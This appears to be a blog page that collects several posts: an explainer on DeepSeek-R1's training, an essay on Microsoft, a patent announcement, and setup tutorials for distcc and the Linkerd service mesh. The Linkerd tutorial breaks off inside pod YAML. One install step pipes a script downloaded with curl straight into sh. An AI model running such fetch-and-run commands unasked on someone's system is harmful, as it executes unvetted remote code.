We're in the early days. The tooling is rough. The security practices are still being established. But the trajectory is clear: AI agents are moving from the cloud to the edge, from institutional to personal, from walled gardens and out into the open.

DeepSeek R1, the new entrant to the Large Language Model wars has created quite a splash over the last few weeks. Its entrance into a space dominated by the Big Corps, while pursuing asymmetric and novel strategies has been a refreshing eye-opener.

GPT AI improvement was starting to show signs of slowing down, and has been observed to be reaching a point of diminishing returns as it runs out of data and compute required to train, fine-tune increasingly large models. This has turned the focus towards building "reasoning" models that are post-trained through reinforcement learning, techniques such as inference-time and test-time scaling and search algorithms to make the models appear to think and reason better. OpenAI's o1-series models were the first to achieve this successfully with its inference-time scaling and Chain-of-Thought reasoning.

Intelligence as an emergent property of Reinforcement Learning (RL)

Reinforcement Learning (RL) has been successfully used in the past by Google's DeepMind team to build highly intelligent and specialized systems where intelligence is observed as an emergent property through rewards-based training approach that yielded achievements like AlphaGo (see my post on it here - AlphaGo: a journey to machine intuition).

DeepMind went on to build a series of Alpha* projects that achieved many notable feats using RL:

• AlphaGo, defeated the world champion Lee Seedol in the game of Go
• AlphaZero, a generalized system that learned to play games such as Chess, Shogi and Go without human input
• AlphaStar, achieved high performance in the complex real-time strategy game StarCraft II.
• AlphaFold, a tool for predicting protein structures which significantly advanced computational biology.
• AlphaCode, a model designed to generate computer programs, performing competitively in coding challenges.
• AlphaDev, a system developed to discover novel algorithms, notably optimizing sorting algorithms beyond human-derived methods.

All of these systems achieved mastery in its own area through self-training/self-play and by optimizing and maximizing the cumulative reward over time by interacting with its environment where intelligence was observed as an emergent property of the system.

The RL feedback loop

RL mimics the process through which a baby would learn to walk, through trial, error and first principles.

R1 model training pipeline

At a technical level, DeepSeek-R1 leverages a combination of Reinforcement Learning (RL) and Supervised Fine-Tuning (SFT) for its training pipeline:

DeepSeek-R1 Model Training Pipeline

Using RL and DeepSeek-v3, an interim reasoning model was built, called DeepSeek-R1-Zero, purely based on RL without relying on SFT, which demonstrated superior reasoning capabilities that matched the performance of OpenAI's o1 in certain benchmarks such as AIME 2024.

The model was however affected by poor readability and language-mixing and is only an interim-reasoning model built on RL principles and self-evolution.

DeepSeek-R1-Zero was then used to generate SFT data, which was combined with supervised data from DeepSeek-v3 to re-train the DeepSeek-v3-Base model.

The new DeepSeek-v3-Base model then underwent additional RL with prompts and scenarios to come up with the DeepSeek-R1 model.

The R1-model was then used to distill a number of smaller open source models such as Llama-8b, Qwen-7b, 14b which outperformed bigger models by a large margin, effectively making the smaller models more accessible and usable.

Key contributions of DeepSeek-R1

1. RL without the need for SFT for emergent reasoning capabilities

R1 was the first open research project to validate the efficacy of RL directly on the base model without relying on SFT as a first step, which resulted in the model developing advanced reasoning capabilities purely through self-reflection and self-verification.

Although, it did degrade in its language capabilities during the process, its Chain-of-Thought (CoT) capabilities for solving complex problems was later used for further RL on the DeepSeek-v3-Base model which became R1. This is a significant contribution back to the research community.

The below analysis of DeepSeek-R1-Zero and OpenAI o1-0912 shows that it is viable to attain robust reasoning capabilities purely through RL alone, which can be further augmented with other techniques to deliver even better reasoning performance.

Source: https://github.com/deepseek-ai/DeepSeek-R1

Its quite interesting, that the application of RL gives rise to seemingly human capabilities of "reflection", and arriving at "aha" moments, causing it to pause, ponder and focus on a specific aspect of the problem, resulting in emergent capabilities to problem-solve as humans do.

2. Model distillation

DeepSeek-R1 also demonstrated that larger models can be distilled into smaller models which makes advanced capabilities accessible to resource-constrained environments, such as your laptop. While its not possible to run a 671b model on a stock laptop, you can still run a distilled 14b model that is distilled from the larger model which still performs better than most publicly available models out there. This enables intelligence to be brought closer to the edge, to allow faster inference at the point of experience (such as on a smartphone, or on a Raspberry Pi), which paves way for more use cases and possibilities for innovation.

Source: https://github.com/deepseek-ai/DeepSeek-R1

Distilled models are very different to R1, which is a massive model with a completely different model architecture than the distilled variants, and so are not directly comparable in terms of capability, but are instead built to be more smaller and efficient for more constrained environments. This technique of being able to distill a larger model's capabilities down to a smaller model for portability, accessibility, speed, and cost will bring about a lot of possibilities for applying artificial intelligence in places where it would have otherwise not been possible. This is another key contribution of this technology from DeepSeek, which I believe has even further potential for democratization and accessibility of AI.

Why is this moment so significant?

DeepSeek-R1 was a pivotal contribution in many ways:

1. The contributions to the state-of-the-art and the open research helps move the field forward where everybody benefits, not just a few highly funded AI labs building the next billion dollar model.

2. Open-sourcing and making the model freely available follows an asymmetric strategy to the prevailing closed nature of much of the model-sphere of the larger players. DeepSeek should be commended for making their contributions free and open.

3. It reminds us that its not just a one-horse race, and it incentivizes competition, which has already resulted in OpenAI o3-mini a cost-effective reasoning model which now shows the Chain-of-Thought reasoning. Competition is a good thing.

4. We stand at the cusp of an explosion of small-models that are hyper-specialized, and optimized for a specific use case that can be trained and deployed cheaply for solving problems at the edge. It raises a lot of exciting possibilities and is why DeepSeek-R1 is one of the most pivotal moments of tech history.

Truly exciting times. What will you build?

Twenty years ago, it was easy to dislike Microsoft. It was the quintessential evil MegaCorp that was quick to squash competition, often ruthlessly, but in some cases slowly through a more insidious process of embracing, extending, and exterminating anything that got in the way. This was the signature personality of Ballmer-era Microsoft that also inspired and united the software freedom fighting forces that came together to safeguard things that mattered to them and were at risk.

I remember the era when the Novell, SCO, and Microsoft saga cast fear, uncertainty, and doubt on the future of open Unix and Linux and on what would happen to the operating systems that we loved if the suits of Redmond prevailed. Looking back, I'm glad that the arc of this story has bent towards justice, and I shudder at the possibilities had it worked out differently.

Looking at today's Microsoft, I'm amazed at how much change a leader with the right vision can make to the trajectory of a company that even makes an old-school software freedom advocate as me admire and even applaud the strides it has taken in the last 10 or so years that has dramatically shifted the perception of Microsoft. The personality of the Satya-era Microsoft is one to behold. While it will take more time to win back the trust, we see the tides changing and the positivity is important for the entire industry.

For Microsoft, it was TypeScript and VS Code that helped change the narrative internally which led to its internal resurgence and acceptance of open source. Its acquisition of GitHub propelled it forward within the community overnight. Its contributions to the Linux kernel and other major software projects have also been consequential in changing its public perceptions.

It takes a while to claw back trust and is very easy to breach. This time, however, Microsoft seems to understand this dynamic more than it did 20 years ago. All it took was the right leadership.

I’m happy to announce, that after a long wait, patent US-11604662-B2 has been issued.

I want to thank and recognize my co-inventors, Div Prakash and Subin George, who I’m privileged to be on paper with.

The effort that led to this work involved a group of engineers, many phone calls, some nerve-wracking presentations, culminating in a fantastic hackathon-winning outcome for a young and talented team, which I was proud to be a part of and privileged to lead.

Parallelizing the compilation of a large codebase is a breeze with distcc, which allows you to spread the load across multiple nodes and speed up the compilation time.

Here’s a sample network topology for a distributed build:

Install distcc on the three Debian/Ubuntu-based nodes:

# apt install distcc

Edit /etc/default/distcc and set:

STARTDISTCC="true" 
 
# Customize for your environment 
ALLOWEDNETS="192.168.2.0/24" 
 
# Specify your network device 
LISTENER="192.168.2.146"

Additionally, the JOBS and NICE variables can be tweaked to suit the compute power that you have available.

Start distcc:

# systemctl start distcc

Do the same all the nodes, and if you have a firewall enabled with ufw, you will need to open up the port 3632 to the master node.

# ufw allow 3632/tcp

Additionally, if you’d like to use ssh over untrusted networks so code and communication with the worker nodes happen over a secure channel, ensure that SSH is running and is opened up to the master node in the same manner as above with the key of the master node in ~/.ssh/authorized_keys of the worker nodes. Opening port 3632 in this manner is a security hole, so take precautions over untrusted networks.

Back in the master node, setup a DISTCC_HOSTS environment variable that lists the worker nodes, including the master node. Note the order of the hosts, as it is important. The first host will be more heavily used, and distcc has no way of knowing the capacity and capability of the hosts, so specify the most powerful host first.

export DISTCC_HOSTS='localhost 192.168.2.107 192.168.2.91'

At this point, you’re ready to compile.

Go to your codebase, in this case we use the Linux kernel source code for the purpose of example.

$ make tinyconfig 
$ time make -j$(nproc) CC=distcc bzImage

On another terminal, you can monitor the status of the distributed compilation with distmoncc-text or tools such as top or bpytop.

Network throughput and latency will be a big factor in how much distcc will help speed up your build process. Using ssh may additionally introduce overhead, so play with the variables to see how much distcc can help speed up or optimize the build for your specific scenario. You may want to additionally consider ccache to speed up the build process.

There are some aspects of the build process that are not effectively parallizable in this manner, such as the final linking step of the executable, for which you will not see any performance improvement with distcc.

Give distcc a spin, and put any spare compute you have lying around in your home lab to good use.

If you’ve done anything in the Kubernetes space in recent years, you’ve most likely come across the words “Service Mesh”. It’s backed by a set of mature technologies that provides cross-cutting networking, security, infrastructure capabilities to be used by workloads running in Kubernetes in a manner that is transparent to the actual workload. This abstraction enables application developers to not worry about building in otherwise sophisticated capabilities for networking, routing, circuit-breaking and security, and simply rely on the services offered by the service mesh.

In this post, I'll be covering Linkerd, which is an alternative to Istio. It has gone through a significant re-write when it transitioned from the JVM to a Go-based Control Plane and a Rust-based Data Plane a few years back and is now a part of the CNCF and is backed by Buoyant. It has proven itself widely for use in production workloads and has a healthy community and release cadence.

It achieves this with a side-car container that communicates with a Linkerd control plane that allows central management of policy, telemetry, mutual TLS, traffic routing, shaping, retries, load balancing, circuit-breaking and other cross-cutting concerns before the traffic hits the container. This has made the task of implementing the application services much simpler as it is managed by container orchestrator and service mesh. I covered Istio in a prior post a few years back, and much of the content is still applicable for this post, if you’d like to have a look.

Here are the broad architectural components of Linkerd:

The components are separated into the control plane and the data plane.

The control plane components live in its own namespace and consists of a controller that the Linkerd CLI interacts with via the Kubernetes API. The destination service is used for service discovery, TLS identity, policy on access control for inter-service communication and service profile information on routing, retries, timeouts. The identity service acts as the Certificate Authority which responds to Certificate Signing Requests (CSRs) from proxies for initialization and for service-to-service encrypted traffic. The proxy injector is an admission webhook that injects the Linkerd proxy side car and the init container automatically into a pod when the "linkerd.io/inject: enabled" is available on the namespace or workload.

On the data plane side are two components. First, the init container, which is responsible for automatically forwarding incoming and outgoing traffic through the Linkerd proxy via iptables rules. Second, the Linkerd proxy, which is a lightweight micro-proxy written in Rust, is the data plane itself.

I will be walking you through the setup of Linkerd (2.12.2 at the time of writing) on a Kubernetes cluster.

Let's see what's running on the cluster currently. This assumes you have a cluster running and kubectl is installed and available on the PATH.

$ kubectl get pods -A
NAMESPACE     NAME                                       READY   STATUS    RESTARTS       AGE
kube-system   calico-kube-controllers-59697b644f-7fsln   1/1     Running   2 (119m ago)   7d
kube-system   calico-node-6ptsh                          1/1     Running   2 (119m ago)   7d
kube-system   calico-node-7x5j8                          1/1     Running   2 (119m ago)   7d
kube-system   calico-node-qlnf6                          1/1     Running   2 (119m ago)   7d
kube-system   coredns-565d847f94-79jlw                   1/1     Running   2 (119m ago)   7d
kube-system   coredns-565d847f94-fqwn4                   1/1     Running   2 (119m ago)   7d
kube-system   etcd-k8s-master                            1/1     Running   2 (119m ago)   7d
kube-system   kube-apiserver-k8s-master                  1/1     Running   2 (119m ago)   7d
kube-system   kube-controller-manager-k8s-master         1/1     Running   2 (119m ago)   7d
kube-system   kube-proxy-4n9b7                           1/1     Running   2 (119m ago)   7d
kube-system   kube-proxy-k4rzv                           1/1     Running   2 (119m ago)   7d
kube-system   kube-proxy-lz2dd                           1/1     Running   2 (119m ago)   7d
kube-system   kube-scheduler-k8s-master                  1/1     Running   2 (119m ago)   7d

The first step would be to setup the Linkerd CLI:

$ curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh

On most systems, this should be sufficient to setup the CLI. You may need to restart your terminal to load the updated paths. If you have a non-standard configuration and linkerd is not found after the installation, add the following to your PATH to be able to find the cli:

export PATH=$PATH:~/.linkerd2/bin/

At this point, checking the version would give you the following:

$ linkerd version
Client version: stable-2.12.2
Server version: unavailable

Setting up Linkerd Control Plane

Before installing Linkerd on the cluster, run the following step to check the cluster for pre-requisites:

$ linkerd check --pre
Linkerd core checks
===================kubernetes-api
--------------
√ can initialize the client
√ can query the Kubernetes APIkubernetes-version
------------------
√ is running the minimum Kubernetes API version
√ is running the minimum kubectl versionpre-kubernetes-setup
--------------------
√ control plane namespace does not already exist
√ can create non-namespaced resources
√ can create ServiceAccounts
√ can create Services
√ can create Deployments
√ can create CronJobs
√ can create ConfigMaps
√ can create Secrets
√ can read Secrets
√ can read extension-apiserver-authentication configmap
√ no clock skew detectedlinkerd-version
---------------
√ can determine the latest version
√ cli is up-to-dateStatus check results are √

All the pre-requisites appear to be good right now, and so installation can proceed.

The first step of the installation is to setup the Custom Resource Definitions (CRDs) that Linkerd requires. The linkerd cli only prints the resource YAMLs to standard output and does not create them directly in Kubernetes, so you would need to pipe the output to kubectl apply to create the resources in the cluster that you're working with.

$ linkerd install --crds | kubectl apply -f -
Rendering Linkerd CRDs...
Next, run `linkerd install | kubectl apply -f -` to install the control plane.customresourcedefinition.apiextensions.k8s.io/authorizationpolicies.policy.linkerd.io created
customresourcedefinition.apiextensions.k8s.io/httproutes.policy.linkerd.io created
customresourcedefinition.apiextensions.k8s.io/meshtlsauthentications.policy.linkerd.io created
customresourcedefinition.apiextensions.k8s.io/networkauthentications.policy.linkerd.io created
customresourcedefinition.apiextensions.k8s.io/serverauthorizations.policy.linkerd.io created
customresourcedefinition.apiextensions.k8s.io/servers.policy.linkerd.io created
customresourcedefinition.apiextensions.k8s.io/serviceprofiles.linkerd.io created

Next, install the Linkerd control plane components in the same manner, this time without the crds switch:

$ linkerd install | kubectl apply -f -       
namespace/linkerd created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-identity created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-identity created
serviceaccount/linkerd-identity created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-destination created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-destination created
serviceaccount/linkerd-destination created
secret/linkerd-sp-validator-k8s-tls created
validatingwebhookconfiguration.admissionregistration.k8s.io/linkerd-sp-validator-webhook-config created
secret/linkerd-policy-validator-k8s-tls created
validatingwebhookconfiguration.admissionregistration.k8s.io/linkerd-policy-validator-webhook-config created
clusterrole.rbac.authorization.k8s.io/linkerd-policy created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-destination-policy created
role.rbac.authorization.k8s.io/linkerd-heartbeat created
rolebinding.rbac.authorization.k8s.io/linkerd-heartbeat created
clusterrole.rbac.authorization.k8s.io/linkerd-heartbeat created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-heartbeat created
serviceaccount/linkerd-heartbeat created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-proxy-injector created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-proxy-injector created
serviceaccount/linkerd-proxy-injector created
secret/linkerd-proxy-injector-k8s-tls created
mutatingwebhookconfiguration.admissionregistration.k8s.io/linkerd-proxy-injector-webhook-config created
configmap/linkerd-config created
secret/linkerd-identity-issuer created
configmap/linkerd-identity-trust-roots created
service/linkerd-identity created
service/linkerd-identity-headless created
deployment.apps/linkerd-identity created
service/linkerd-dst created
service/linkerd-dst-headless created
service/linkerd-sp-validator created
service/linkerd-policy created
service/linkerd-policy-validator created
deployment.apps/linkerd-destination created
cronjob.batch/linkerd-heartbeat created
deployment.apps/linkerd-proxy-injector created
service/linkerd-proxy-injector created
secret/linkerd-config-overrides created

Kubernetes will start spinning up the data plane components and you should see the following when you list the pods:

$ kubectl get pods -A
...
linkerd       linkerd-destination-67b9cc8749-xqcbx       4/4     Running   0              69s
linkerd       linkerd-identity-59b46789cc-ntfcx          2/2     Running   0              69s
linkerd       linkerd-proxy-injector-7fc85556bf-vnvw6    1/2     Running   0              69s

The components are running in the new linkerd namespace.

To verify the setup, run a check:

$ linkerd check
Linkerd core checks
===================kubernetes-api
--------------
√ can initialize the client
√ can query the Kubernetes APIkubernetes-version
------------------
√ is running the minimum Kubernetes API version
√ is running the minimum kubectl versionlinkerd-existence
-----------------
√ 'linkerd-config' config map exists
√ heartbeat ServiceAccount exist
√ control plane replica sets are ready
√ no unschedulable pods
√ control plane pods are ready
√ cluster networks contains all pods
√ cluster networks contains all serviceslinkerd-config
--------------
√ control plane Namespace exists
√ control plane ClusterRoles exist
√ control plane ClusterRoleBindings exist
√ control plane ServiceAccounts exist
√ control plane CustomResourceDefinitions exist
√ control plane MutatingWebhookConfigurations exist
√ control plane ValidatingWebhookConfigurations exist
√ proxy-init container runs as root user if docker container runtime is usedlinkerd-identity
----------------
√ certificate config is valid
√ trust anchors are using supported crypto algorithm
√ trust anchors are within their validity period
√ trust anchors are valid for at least 60 days
√ issuer cert is using supported crypto algorithm
√ issuer cert is within its validity period
√ issuer cert is valid for at least 60 days
√ issuer cert is issued by the trust anchorlinkerd-webhooks-and-apisvc-tls
-------------------------------
√ proxy-injector webhook has valid cert
√ proxy-injector cert is valid for at least 60 days
√ sp-validator webhook has valid cert
√ sp-validator cert is valid for at least 60 days
√ policy-validator webhook has valid cert
√ policy-validator cert is valid for at least 60 dayslinkerd-version
---------------
√ can determine the latest version
√ cli is up-to-datecontrol-plane-version
---------------------
√ can retrieve the control plane version
√ control plane is up-to-date
√ control plane and cli versions matchlinkerd-control-plane-proxy
---------------------------
√ control plane proxies are healthy
√ control plane proxies are up-to-date
√ control plane proxies and cli versions matchStatus check results are √

Everything looks good.

Setting up the Viz Extension

At this point, the required components for the service mesh are setup, but let’s also install the viz extension, which provides a good visualization capabilities that will come in handy subsequently. Once again, linkerd uses the same pattern for installing the extension.

$ linkerd viz install | kubectl apply -f -
namespace/linkerd-viz created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-viz-metrics-api created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-metrics-api created
serviceaccount/metrics-api created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-viz-prometheus created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-prometheus created
serviceaccount/prometheus created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-viz-tap created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-viz-tap-admin created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-tap created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-tap-auth-delegator created
serviceaccount/tap created
rolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-tap-auth-reader created
secret/tap-k8s-tls created
apiservice.apiregistration.k8s.io/v1alpha1.tap.linkerd.io created
role.rbac.authorization.k8s.io/web created
rolebinding.rbac.authorization.k8s.io/web created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-viz-web-check created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-web-check created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-web-admin created
clusterrole.rbac.authorization.k8s.io/linkerd-linkerd-viz-web-api created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-linkerd-viz-web-api created
serviceaccount/web created
server.policy.linkerd.io/admin created
authorizationpolicy.policy.linkerd.io/admin created
networkauthentication.policy.linkerd.io/kubelet created
server.policy.linkerd.io/proxy-admin created
authorizationpolicy.policy.linkerd.io/proxy-admin created
service/metrics-api created
deployment.apps/metrics-api created
server.policy.linkerd.io/metrics-api created
authorizationpolicy.policy.linkerd.io/metrics-api created
meshtlsauthentication.policy.linkerd.io/metrics-api-web created
configmap/prometheus-config created
service/prometheus created
deployment.apps/prometheus created
service/tap created
deployment.apps/tap created
server.policy.linkerd.io/tap-api created
authorizationpolicy.policy.linkerd.io/tap created
clusterrole.rbac.authorization.k8s.io/linkerd-tap-injector created
clusterrolebinding.rbac.authorization.k8s.io/linkerd-tap-injector created
serviceaccount/tap-injector created
secret/tap-injector-k8s-tls created
mutatingwebhookconfiguration.admissionregistration.k8s.io/linkerd-tap-injector-webhook-config created
service/tap-injector created
deployment.apps/tap-injector created
server.policy.linkerd.io/tap-injector-webhook created
authorizationpolicy.policy.linkerd.io/tap-injector created
networkauthentication.policy.linkerd.io/kube-api-server created
service/web created
deployment.apps/web created
serviceprofile.linkerd.io/metrics-api.linkerd-viz.svc.cluster.local created
serviceprofile.linkerd.io/prometheus.linkerd-viz.svc.cluster.local created

A few seconds later, you should see the following in your pod list:

$ kubectl get pods -A
...
linkerd-viz   prometheus-b5865f776-w5ssf                 1/2     Running   0              35s
linkerd-viz   tap-64f5c8597b-rqgbk                       2/2     Running   0              35s
linkerd-viz   tap-injector-7c75cfff4c-wl9mx              2/2     Running   0              34s
linkerd-viz   web-8c444745-jhzr5                         2/2     Running   0              34s

The viz components live in the linkerd-viz namespace.

You can now checkout the viz dashboard:

$ linkerd viz dashboard
Linkerd dashboard available at:
http://localhost:50750
Grafana dashboard available at:
http://localhost:50750/grafana
Opening Linkerd dashboard in the default browser
Opening in existing browser session.

The “Meshed” column indicates the workload that is currently integrated with the Linkerd control plane. As you can see, there are no application deployments right now that are running.

Injecting the Linkerd Data Plane components

There are two ways to integrate Linkerd to the application containers:

1 — by manually injecting the Linkerd data plane components 2 — by instructing Kubernetes to automatically inject the data plane components

Inject Linkerd data plane manually

Let’s try the first option. Below is a simple nginx-app that I will deploy into the cluster:

$ cat deploy.yaml 
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 2
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        ports:
        - containerPort: 80
$ kubectl apply -f deploy.yaml

Back in the viz dashboard, I do see the workload deployed, but it isn’t currently communicating with the Linkerd control plane, and so doesn’t show any metrics, and the “Meshed” count is 0:

Looking at the Pod’s deployment YAML, I can see that it only includes the nginx container:

$ kubectl get pod nginx-deployment-cd55c47f5-cgxw2 -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    cni.projectcalico.org/containerID: aee0295dda906f7935ce5c150ae30360005f5330e98c75a550b7cc0d1532f529
    cni.projectcalico.org/podIP: 172.16.36.89/32
    cni.projectcalico.org/podIPs: 172.16.36.89/32
  creationTimestamp: "2022-11-05T19:35:12Z"
  generateName: nginx-deployment-cd55c47f5-
  labels:
    app: nginx
    pod-template-hash: cd55c47f5
  name: nginx-deployment-cd55c47f5-cgxw2
  namespace: default
  ownerReferences:
  - apiVersion: apps/v1
    blockOwnerDeletion: true
    controller: true
    kind: ReplicaSet
    name: nginx-deployment-cd55c47f5
    uid: b604f5c4-f662-4333-aaa0-bd1a2b8b08c6
  resourceVersion: "22979"
  uid: 8fe30214-491b-4753-9fb2-485b6341376c
spec:
  containers:
  - image: nginx:latest
    imagePullPolicy: Always
    name: nginx
    ports:
    - containerPort: 80
      protocol: TCP
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-2bt6z
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  nodeName: k8s-node1
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-2bt6z
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
status:
  conditions:
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:35:12Z"
    status: "True"
    type: Initialized
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:35:16Z"
    status: "True"
    type: Ready
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:35:16Z"
    status: "True"
    type: ContainersReady
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:35:13Z"
    status: "True"
    type: PodScheduled
  containerStatuses:
  - containerID: containerd://f088f200315b44cbeed16499aba9b2d1396f9f81645e53b032d4bfa44166128a
    image: docker.io/library/nginx:latest
    imageID: docker.io/library/nginx@sha256:943c25b4b66b332184d5ba6bb18234273551593016c0e0ae906bab111548239f
    lastState: {}
    name: nginx
    ready: true
    restartCount: 0
    started: true
    state:
      running:
        startedAt: "2022-11-05T19:35:15Z"
  hostIP: 192.168.2.216
  phase: Running
  podIP: 172.16.36.89
  podIPs:
  - ip: 172.16.36.89
  qosClass: BestEffort
  startTime: "2022-11-05T19:35:12Z"

Let’s directly inject the linkerd data plane into this running container. We do this by retrieving the YAML of the deployment, piping it to linkerd cli to inject the necessary components and then piping to kubectl apply the changed resources.

$ kubectl get deploy nginx-deployment -o yaml | linkerd inject - | kubectl apply -f -deployment "nginx-deployment"injecteddeployment.apps/nginx-deployment configured

Back in the viz dashboard, the workload now is integrated into Linkerd control plane.

Looking at the updated Pod definition, we see a number of changes that the linkerd has injected that allows it to integrate with the control plane. Let’s have a look:

$ kubectl get pod nginx-deployment-858bdd545b-55jpf -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    cni.projectcalico.org/containerID: 1ec3d345f859be8ead0374a7e880bcfdb9ba74a121b220a6fccbd342ac4b7ea8
    cni.projectcalico.org/podIP: 172.16.36.90/32
    cni.projectcalico.org/podIPs: 172.16.36.90/32
    linkerd.io/created-by: linkerd/proxy-injector stable-2.12.2
    linkerd.io/inject: enabled
    linkerd.io/proxy-version: stable-2.12.2
    linkerd.io/trust-root-sha256: 354fe6f49331e8e03d8fb07808e00a3e145d2661181cbfec7777b41051dc8e22
    viz.linkerd.io/tap-enabled: "true"
  creationTimestamp: "2022-11-05T19:44:15Z"
  generateName: nginx-deployment-858bdd545b-
  labels:
    app: nginx
    linkerd.io/control-plane-ns: linkerd
    linkerd.io/proxy-deployment: nginx-deployment
    linkerd.io/workload-ns: default
    pod-template-hash: 858bdd545b
  name: nginx-deployment-858bdd545b-55jpf
  namespace: default
  ownerReferences:
  - apiVersion: apps/v1
    blockOwnerDeletion: true
    controller: true
    kind: ReplicaSet
    name: nginx-deployment-858bdd545b
    uid: 2e618972-aa10-4e35-a7dd-084853673a80
  resourceVersion: "23820"
  uid: 62f1857a-b701-4a19-8996-b5b605ff8488
spec:
  containers:
  - env:
    - name: _pod_name
      valueFrom:
        fieldRef:
          apiVersion: v1
          fieldPath: metadata.name
    - name: _pod_ns
      valueFrom:
        fieldRef:
          apiVersion: v1
          fieldPath: metadata.namespace
    - name: _pod_nodeName
      valueFrom:
        fieldRef:
          apiVersion: v1
          fieldPath: spec.nodeName
    - name: LINKERD2_PROXY_LOG
      value: warn,linkerd=info
    - name: LINKERD2_PROXY_LOG_FORMAT
      value: plain
    - name: LINKERD2_PROXY_DESTINATION_SVC_ADDR
      value: linkerd-dst-headless.linkerd.svc.cluster.local.:8086
    - name: LINKERD2_PROXY_DESTINATION_PROFILE_NETWORKS
      value: 10.0.0.0/8,100.64.0.0/10,172.16.0.0/12,192.168.0.0/16
    - name: LINKERD2_PROXY_POLICY_SVC_ADDR
      value: linkerd-policy.linkerd.svc.cluster.local.:8090
    - name: LINKERD2_PROXY_POLICY_WORKLOAD
      value: $(_pod_ns):$(_pod_name)
    - name: LINKERD2_PROXY_INBOUND_DEFAULT_POLICY
      value: all-unauthenticated
    - name: LINKERD2_PROXY_POLICY_CLUSTER_NETWORKS
      value: 10.0.0.0/8,100.64.0.0/10,172.16.0.0/12,192.168.0.0/16
    - name: LINKERD2_PROXY_INBOUND_CONNECT_TIMEOUT
      value: 100ms
    - name: LINKERD2_PROXY_OUTBOUND_CONNECT_TIMEOUT
      value: 1000ms
    - name: LINKERD2_PROXY_CONTROL_LISTEN_ADDR
      value: 0.0.0.0:4190
    - name: LINKERD2_PROXY_ADMIN_LISTEN_ADDR
      value: 0.0.0.0:4191
    - name: LINKERD2_PROXY_OUTBOUND_LISTEN_ADDR
      value: 127.0.0.1:4140
    - name: LINKERD2_PROXY_INBOUND_LISTEN_ADDR
      value: 0.0.0.0:4143
    - name: LINKERD2_PROXY_INBOUND_IPS
      valueFrom:
        fieldRef:
          apiVersion: v1
          fieldPath: status.podIPs
    - name: LINKERD2_PROXY_INBOUND_PORTS
      value: "80"
    - name: LINKERD2_PROXY_DESTINATION_PROFILE_SUFFIXES
      value: svc.cluster.local.
    - name: LINKERD2_PROXY_INBOUND_ACCEPT_KEEPALIVE
      value: 10000ms
    - name: LINKERD2_PROXY_OUTBOUND_CONNECT_KEEPALIVE
      value: 10000ms
    - name: LINKERD2_PROXY_INBOUND_PORTS_DISABLE_PROTOCOL_DETECTION
      value: 25,587,3306,4444,5432,6379,9300,11211
    - name: LINKERD2_PROXY_DESTINATION_CONTEXT
      value: |
        {"ns":"$(_pod_ns)", "nodeName":"$(_pod_nodeName)"}
    - name: _pod_sa
      valueFrom:
        fieldRef:
          apiVersion: v1
          fieldPath: spec.serviceAccountName
    - name: _l5d_ns
      value: linkerd
    - name: _l5d_trustdomain
      value: cluster.local
    - name: LINKERD2_PROXY_IDENTITY_DIR
      value: /var/run/linkerd/identity/end-entity
    - name: LINKERD2_PROXY_IDENTITY_TRUST_ANCHORS
      value: |
        -----BEGIN CERTIFICATE-----
        MIIBiDCCAS6gAwIBAgIBATAKBggqhkjOPQQDAjAcMRowGAYDVQQDExFpZGVudGl0
        eS5saW5rZXJkLjAeFw0yMjExMDUxOTIxMDlaFw0yMzExMDUxOTIxMjlaMBwxGjAY
        BgNVBAMTEWlkZW50aXR5LmxpbmtlcmQuMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcD
        QgAE8AgxbWWa1qgEgN3ykFAOJ3sw9nSugUk1N5Qfvo6jXX/8/TZUW0ddko/N71+H
        EcKc72kK0tlclj8jDi3pzJ4C0KNhMF8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdJQQW
